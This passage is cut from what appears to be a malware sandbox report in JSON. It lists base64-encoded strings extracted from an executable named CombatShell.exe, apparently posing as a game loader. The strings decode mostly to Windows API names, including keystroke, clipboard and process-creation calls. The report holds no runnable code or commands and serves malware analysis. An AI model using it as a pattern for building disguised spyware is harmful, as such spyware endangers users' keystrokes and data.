Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW9FeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2NjY2NjY2NjY2NjY2NjY2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRGlzcGxheVNldHRpbmdzRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2hvb3NlUGl4ZWxGb3JtYXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpZW50VG9TY3JlZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpcEN1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xvc2Vzb2NrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUb3VjaElucHV0SGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVHdWlk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29Jbml0aWFsaXplRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ09yZGluYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdE5hbWVkUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0IDIwMTMgR29vZ2xlIEluYy4gQWxsIFJpZ2h0cyBSZXNlcnZlZC5Ob3RvIEVtb2ppUmVndWxhck1vbm90eXBlIEltYWdpbmcgLSBOb3RvIEVtb2ppVmVyc2lvbiAxLjA1IHVoTm90b0Vtb2ppTm90byBpcyBhIHRyYWRlbWFyayBvZiBHb29nbGUgSW5jLk1vbm90eXBlIEltYWdpbmcgSW5jLk1vbm90eXBlIERlc2lnbiBUZWFtRGF0YSB1bmhpbnRlZC4gRGVzaWduZWQgYnkgTW9ub3R5cGUgZGVzaWduIHRlYW0uaHR0cDovL3d3dy5nb29nbGUuY29tL2dldC9ub3RvL2h0dHA6Ly93d3cubW9ub3R5cGUuY29tL3N0dWRpb1RoaXMgRm9udCBTb2Z0d2FyZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgU0lMIE9wZW4gRm9udCBMaWNlbnNlLCBWZXJzaW9uIDEuMS4gVGhpcyBGb250IFNvZnR3YXJlIGlzIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsIFdJVEhPVVQgV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIgZXhwcmVzcyBvciBpbXBsaWVkLiBTZWUgdGhlIFNJTCBPcGVuIEZvbnQgTGljZW5zZSBmb3IgdGhlIHNwZWNpZmljIGxhbmd1YWdlLCBwZXJtaXNzaW9ucyBhbmQgbGltaXRhdGlvbnMgZ292ZXJuaW5nIHlvdXIgdXNlIG9mIHRoaXMgRm9udCBTb2Z0d2FyZS5odHRwOi8vc2NyaXB0cy5zaWwub3JnL09GTA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29VbmluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q291bnRDbGlwYm9hcmRGb3JtYXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRElCaXRtYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZU1hcHBpbmdB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSGFyZExpbmtX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSWNvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSWNvbkZyb21SZXNvdXJjZUV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSW9Db21wbGV0aW9uUG9ydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlTmFtZWRQaXBlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUHJvY2Vzc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUmVjdFJnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU3ltYm9saWNMaW5rVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2FpdGFibGVUaW1lckV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2luZG93RXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDNEJChI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDNEJEBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDlEJDB0I0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDlEJDB0Jkg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDtEJDhz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDtEJEB2UUg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQnPGZ1Y0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDNEJDhIM0QkMEgzRCRASA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDlEJFBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDlEJFB1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDtEJHh2Kw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQvPGZ1Vkg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJDh0Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJEB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJEB3XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJGB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJEh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SDlEJFh3Vg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SDtEJEB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SDtEJFB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SGtEJHAwSQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRASDlEJGBySA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRASDtEJEh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRcO0QkZHRg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISCtEJGBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDlEJFh1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRoSDtEJHBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFBySA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFB0Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFB2LQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSCtEJEhI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDlEJHB1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJEhy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJGh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJFhy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRwSDtEJHhySA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRwSDtEJHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJFh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCR0ZjtEJFZ8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRYSDtEJGB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVmV2luZG93UHJvY1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlQ3JpdGljYWxTZWN0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzY3JpYmVQaXhlbEZvcm1hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzdHJveUljb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzdHJveVdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGV2aWNlSW9Db250cm9s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlzY29ubmVjdE5hbWVkUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGF0Y2hNZXNzYWdlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"REpNUk1ETUNXQ1BQVlNTU0RNVkhWV1pDRA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ0ZpbmlzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1F1ZXJ5RmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHJpdmVyYWxwaGFfNTQ5LmV4ZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHVwbGljYXRlSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHdtRW5hYmxlQmx1ckJlaGluZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHpEekRabmpOak5KbGpMakxKZHo=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZUFjY2Vzc0tpdEFkYXB0ZXI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW1wdHlDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTWVudUl0ZW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW50ZXJDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW51bUNsaXBib2FyZEZvcm1hdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW51bURpc3BsYXlNb25pdG9ycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXhpdFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZjtEJF5+a0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUZsYWdz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUZsYWdzRXg=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUZsYWdzRXhNYXNr","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVN1YnR5cGU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZENsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZEZpcnN0RmlsZUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZE5leHRGaWxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rmxhc2hXaW5kb3dFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hGaWxlQnVmZmVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm5mcGZrYmthbWE=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rm5GcEZrY2FsR0JNQktCa0FtQQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rm9ybWF0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZWFkZHJpbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUVudmlyb25tZW50U3RyaW5nc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUxpYnJhcnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZyEhIWchISEhISEhISEhISEhISEhISFnZ2chISEhISEhISEhISEhISEhISEhISEhISFnISEhISEhISEhZyFnZyEhISEhISFnZ2chZ2dnZyEhISEhIWchZyEhISEhISEhZ2dnZ2dnISEhISEhISEhIWdnISEhZ2dnZ2dnZ2dnZ2cmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zz4+Pj4+Pj4+Pj4+Pj4+Pj5nPj5xcXFxcXFxcXFxcXFxcXFxPz8/Pz8/Pz8/Pz8/Pz8/P2dnZ2dnZ2dnPz8/P1JSUlJSUlJSUlJSUlJSUlJnZ2dSUlJSUm1tbW1tbW1tbW1tbW1tbW0=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2FtZSBEZXZlbG9wbWVudA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2FtZSBEZXZlbG9wbWVudCAyMDI1LiBBbGwgcmlnaHRzIHJlc2VydmVkLg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2FtZSBMb2FkZXIgOXNqZg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z0JCQkJCQkJCQkJCQkJCQkJnZ2dnZ2dnZ2dCQkJCQkJCQkJCZ2dCQkJC","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0QWN0aXZlV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0YWRkcmluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0QXN5bmNLZXlTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xhc3NJbmZvRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xhc3NOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpZW50UmVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcGJvYXJkRm9ybWF0TmFtZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcEN1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tbWFuZExpbmVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU91dHB1dENQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudERpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3NJZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZElk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3Vyc29yUG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0REM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGV2aWNlQ2Fwcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RElCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRTdHJpbmdzVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRWYXJpYWJsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXJyb3JJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXhpdENvZGVQcm9jZXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmluYWxQYXRoTmFtZUJ5SGFuZGxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Rm9yZWdyb3VuZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RnVsbFBhdGhOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5Ym9hcmRMYXlvdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5Ym9hcmRTdGF0ZQ==","type":"Ansi","source":"Memory/File 